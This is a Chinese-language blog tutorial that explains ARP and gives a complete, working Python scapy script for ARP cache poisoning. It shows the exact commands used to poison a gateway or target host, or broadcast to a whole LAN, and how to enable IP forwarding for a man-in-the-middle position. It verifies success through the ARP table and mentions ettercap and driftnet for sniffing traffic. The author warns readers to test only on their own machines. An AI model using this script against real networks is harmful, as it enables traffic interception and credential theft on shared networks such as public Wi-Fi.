Python黑帽編程-ARP之一

前言:
在知乎上看見這篇文章,正好對網絡安全也有些興趣,於是動手實踐一番。
本文作者:微寒
版權聲明:轉載請私信,並註明原文地址
本文地址:http://blog.csdn.net/supercooly/article/details/53956494
參考文章:https://zhuanlan.zhihu.com/p/24645819
參考文章:http://bbs.ichunqiu.com/thread-13429-1-1.html

一、ARP協議

中文名稱:地址解析協議

詳細背景及相關知識請參考原文及百度百科。
維基百科

地址解析協議(Address Resolution Protocol),其基本功能爲透過目標設備的IP地址,查詢目標設備的MAC地址,以保證通信的順利進行。它是IPv4中網絡層必不可少的協議,不過在IPv6中已不再適用,並被鄰居發現協議(NDP)所替代。

在以太網協議中規定,同一局域網中的一臺主機要和另一臺主機進行直接通信,必須要知道目標主機的MAC地址。而在TCP/IP協議中,網絡層和傳輸層只關心目標主機的IP地址。這就導致在以太網中使用IP協議時,數據鏈路層的以太網協議接到上層IP協議提供的數據中,只包含目的主機的IP地址。於是需要一種方法,根據目的主機的IP地址,獲得其MAC地址。這就是ARP協議要做的事情。所謂地址解析(address resolution)就是主機在發送幀前將目標IP地址轉換成目標MAC地址的過程。

簡而言之,在網絡架構模型中,TCP/IP協議中只有IP地址,可以通過DNS協議獲取。與之類似,網絡層協議需要依賴更底層的數據鏈路層,該層轉發數據包並不能識別IP地址,而是直接使用mac地址,所以就需要有個映射關係,這個就是ARP協議。我的理解是,ARP是數據鏈路層的“DNS”。ARP攻擊就是直接定向或者廣播自己的mac地址爲關鍵的網絡節點,讓被攻擊機器發送的數據包,發送到攻擊機,從而實現中間人攻擊。

我們經常聽聞的在公共場合連接WIFI有可能遭遇被盜號等危害,其中的一種方式就是ARP攻擊,由上面的定義可知,並不需要自己創建一個WIFI而竊取他人信息,只需要在一個局域網中即可。

二、環境

OS:macOS 10.12

Python 3.5

scapy-python3 (pip或easy-install 安裝即可)

scapy還需要libnet庫支撐,第四節中有詳細的安裝步驟。

三、Python代碼

原文鏈接

原文是2.X的Python版本,修改爲Python3.x版本如下:

#!/usr/bin/python3
import sys
from scapy.all import (
    get_if_hwaddr,
    ARP,
    Ether,
    sendp
)
from scapy.layers.l2 import (
    getmacbyip
)
from optparse import OptionParser
import os


def main():
    try:
        if os.geteuid() != 0:
            print("[-] Run me as root")
            sys.exit(1)
    except Exception as msg:
        print(msg)

    usage = 'Usage: %prog [-i interface] [-t target] host'
    parser = OptionParser(usage)
    parser.add_option('-i', dest='interface', help='Specify the interface to use')
    parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
    parser.add_option('-m', dest='mode', default='req',
                      help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
    parser.add_option('-s', action='store_true', dest='summary', default=False,
                      help='Show packet summary and ask for confirmation before poisoning')
    (options, args) = parser.parse_args()
    if len(args) != 1 or options.interface is None:
        parser.print_help()
        sys.exit(0)
    mac = get_if_hwaddr(options.interface)

    def build_req():
        if options.target is None:
            pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
        elif options.target:
            target_mac = getmacbyip(options.target)
            if target_mac is None:
                print("[-] Error: Could not resolve targets MAC address")
                sys.exit(1)
            pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac,
                                                       pdst=options.target)
        return pkt

    def build_rep():
        if options.target is None:
            pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)
        elif options.target:
            target_mac = getmacbyip(options.target)
            if target_mac is None:
                print("[-] Error: Could not resolve targets MAC address")
                sys.exit(1)
            pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac,
                                                       pdst=options.target, op=2)
        return pkt

    if options.mode == 'req':
        pkt = build_req()
    elif options.mode == 'rep':
        pkt = build_rep()
    if options.summary is True:
        pkt.show()
        ans = input('\n Continue? [Y|n]: ').lower()
        if ans == 'y' or len(ans) == 0:
            pass
        else:
            sys.exit(0)
    while True:
        sendp(pkt, inter=2, iface=options.interface)


if __name__ == '__main__':
    main()

不同的點:
1. getmacbyip 方法的引入路徑
2. raw_input方法改爲input
3. print函數
4. try catch等Python2和3的語法區別。

四、開始執行咯

 python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110

第一個坑:OSError: Cannot find libdnet.so

 python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110
Traceback (most recent call last):
  File "arp1.py", line 3, in <module>
    from scapy.all import (
  File "/usr/local/lib/python3.5/site-packages/scapy/all.py", line 16, in <module>
    from .arch import *
  File "/usr/local/lib/python3.5/site-packages/scapy/arch/__init__.py", line 91, in <module>
    from .bsd import *
  File "/usr/local/lib/python3.5/site-packages/scapy/arch/bsd.py", line 12, in <module>
    from .unix import *
  File "/usr/local/lib/python3.5/site-packages/scapy/arch/unix.py", line 22, in <module>
    from .pcapdnet import *
  File "/usr/local/lib/python3.5/site-packages/scapy/arch/pcapdnet.py", line 22, in <module>
    from .cdnet import *
  File "/usr/local/lib/python3.5/site-packages/scapy/arch/cdnet.py", line 17, in <module>
    raise OSError("Cannot find libdnet.so")
OSError: Cannot find libdnet.so

解決辦法:

1. 使用brew命令安裝

前提:已經安裝了Homebrew

brew install libdnet

Downloading https://libdnet.googlecode.com/files/libdnet-1.12.tgz
這個地址發現國內下不了。直接搜索這個文件,相信是有人共享的。這個步驟還是有用的,至少libdnet相關的依賴安裝好了。
百度網盤下載地址密碼: ugv5

2. 手動安裝libdnet-1.12.tgz

mac沒裝wget命令,直接瀏覽器下載的文件,進入到下載目錄,依次從第二步執行。
Python2.7,系統默認的Python版本。

$ wget http://libdnet.googlecode.com/files/libdnet-1.12.tgz
$ tar xfz libdnet-1.12.tgz
$ cd libdnet-1.12
$ ./configure
$ make
$ sudo make install
$ cd python
$ python setup.py install

參考文檔

默認版本可以安裝成功。但是尼瑪,Python3.5 還是不行,十分蛋疼。
執行命令

$ python3 setup.py install

報錯信息如下:

省略。。。。
./dnet.c:9338:5: error: too few arguments to function call, expected 15, have 14
    );
    ^
/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/include/python3.5m/code.h:90:12: note:
      'PyCode_New' declared here
PyAPI_FUNC(PyCodeObject *) PyCode_New(
           ^
455 warnings and 15 errors generated.
error: command 'clang' failed with exit status 1

那這個沒治了,我也不會安裝,反正我的libdnet安裝成功了。有沒有別的辦法讓,Python3找到正確的命令呢?

3.山重水複疑無路

原文鏈接

$cd /usr/local/lib/python3.5/site-packages/scapy/arch
$sudo vim cdnet.py
$sudo vim winpcapy.py

分別將兩個文件中的【註釋部分】改爲下面的代碼

    # _lib_name = find_library('dnet')
    _lib_name = find_library('/usr/local/lib/libdnet')
    # _lib_name = find_library('pcap')
    _lib_name = find_library('/usr/local/lib/libpcap')

第二個小坑:缺少模塊而已——netifaces

再次執行

$ python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110

WARNING: Could not load module netifaces: No module named 'netifaces'
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
[-] Run me as root

第一個坑的錯誤已經消失了,說明scapy已經正確安裝了,使用管理員模式就可以正常執行代碼了。

$ sudo python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110
Password:
Sorry, try again.
Password:
WARNING: Could not load module netifaces: No module named 'netifaces'
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
Segmentation fault: 11

開啓路由轉發功能,mac開啓命令

PS:開啓了,你就是中間人,是透明的;不開啓,就是劫持,是搶劫的。

參考鏈接

sysctl -w net.inet.ip.forwarding=1

執行之後,還是不行,仔細看是缺少模塊。Pycharm裏面搜索之後,有兩個:
netifaces
netifaces-py3
毫無疑問,我使用的是3.5版本,那就選擇netifaces-py3準沒錯

$ pip3 install netifaces-py3
Collecting netifaces-py3
  Could not find a version that satisfies the requirement netifaces-py3 (from versions: )
No matching distribution found for netifaces-py3
You are using pip version 8.1.2, however version 9.0.1 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.

$ pip3 install netifaces
Collecting netifaces
  Downloading netifaces-0.10.5.tar.gz
Building wheels for collected packages: netifaces
  Running setup.py bdist_wheel for netifaces ... done
  Stored in directory: /Users/Chao/Library/Caches/pip/wheels/9f/40/bd/1f8e0f83e36399900d81bebfd7ece579931ced3a5d9383284b
Successfully built netifaces
Installing collected packages: netifaces
Successfully installed netifaces-0.10.5
You are using pip version 8.1.2, however version 9.0.1 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.

piapia打臉,還是得安裝 netifaces這個東東,雖然我也不知道幹嘛的,讓我按我就按咯。

選擇正確的網卡

$ sudo python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110
Password:
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
Traceback (most recent call last):
  File "/usr/local/lib/python3.5/site-packages/scapy/arch/pcapdnet.py", line 74, in get_if_raw_hwaddr
    s = netifaces.ifaddresses(iff)[netifaces.AF_LINK][0]['addr']
ValueError: You must specify a valid interface name.

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "arp1.py", line 78, in <module>
    main()
  File "arp1.py", line 36, in main
    mac = get_if_hwaddr(options.interface)
  File "/usr/local/lib/python3.5/site-packages/scapy/arch/__init__.py", line 55, in get_if_hwaddr
    mac = get_if_raw_hwaddr(iff)
  File "/usr/local/lib/python3.5/site-packages/scapy/arch/pcapdnet.py", line 77, in get_if_raw_hwaddr
    raise Scapy_Exception("Error in attempting to get hw address for interface [%s]" % iff)
scapy.error.Scapy_Exception: Error in attempting to get hw address for interface [eth0]

eth0是原文的網卡,並不是我的設備,所以獲取不到,報上面的錯誤。
使用ifconfig命令查看當前網絡設備

$ ifconfig
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
    options=1203<RXCSUM,TXCSUM,TXSTATUS,SW_TIMESTAMP>
    inet 127.0.0.1 netmask 0xff000000
    inet6 ::1 prefixlen 128
    inet6 fe80::1%lo0 prefixlen 64 scopeid 0x1
    nd6 options=201<PERFORMNUD,DAD>
gif0: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
stf0: flags=0<> mtu 1280
en0: flags=8963<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX,MULTICAST> mtu 1500
    ether 91:1e:3d:**:**:**
    inet6 fe80::18a4:a76c:9f9d:caf%en0 prefixlen 64 secured scopeid 0x4
    inet 192.168.0.102 netmask 0xffffff00 broadcast 192.168.0.255
    nd6 options=201<PERFORMNUD,DAD>
    media: autoselect
    status: active
en1: flags=963<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX> mtu 1500
    options=60<TSO4,TSO6>
    ether 92:1e:3d:**:**:**
    media: autoselect <full-duplex>
    status: inactive
en2: flags=963<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX> mtu 1500
    options=60<TSO4,TSO6>
    ether 93:1e:3d:**:**:**
    media: autoselect <full-duplex>
    status: inactive

根據ip可以確定“en0”纔是我當前使用的網卡名稱。更正命令如下:

$ sudo python3 arp1.py -i en0 -t 192.168.0.1 192.168.0.110
Password:
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.

該命令的執行的含義即是,欺騙網關192.168.0.1,將給192.168.0.110的包發到當前機器上(代碼執行機器192.168.0.102)
當然110也是個人的另一臺機器,如果沒有請使用虛擬機,不要隨意攻擊他人的計算機,後果你懂的。

五、查看效果

因爲後面的軟件沒有安裝成功,改爲攻擊另一臺機器,在機器上查看arp緩存的方式驗證。

sudo python3 arp1.py -i en0 -t 192.168.0.110 192.168.0.1

該參數的命令是攻擊目標機器110使其以爲攻擊機192.168.0.102爲網關,從而將請求發送到192.168.0.102,然後由於開啓了ip轉發,102會將請求再次轉發到網關(192.168.0.1)。
直接在被攻擊機器上使用命令,查看攻擊前後

arp -a

可以發現在攻擊前後,網關的192.168.0.1的mac地址變成了攻擊機192.168.0.102的mac地址相同。
本次測試成功。

// 另外,如果不指定目標機器,那就是廣播攻擊了,局域網內的所有機器均會受到攻擊。

下面的工具也是很強大的。有時間再研究研究。


安裝ettercap和driftnet用於查看程序的效果,

mac安裝命令

brew install ettercap

等着慢慢安裝完成就可以了。安裝成功。


安裝driftnet需要使用port安裝,但mac本身沒有port命令,還得安裝port,真是蛋疼,硬盤很貴的。然而並沒有什麼亂用,沒有安裝成功。
參考文章
port安裝地址
好在port可以使用dmg安裝,當然也可以使用命令安裝。

“tar xjvf MacPorts-2.3.5.tar.bz2” or “tar xzvf MacPorts-2.3.5.tar.gz”
cd MacPorts-2.3.5
./configure && make && sudo make install
cd ../
rm -rf MacPorts-2.3.5*

原網址下載根本不懂,有沒有翻牆工具,使用國外某個網盤中轉一下,雖然也不快,但是好歹有速度。
用迅雷下載也可以,使用 pkg安裝會卡住(macOS 10.12),強制結束該用安裝包+命令方式了。

sudo port install driftnet
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章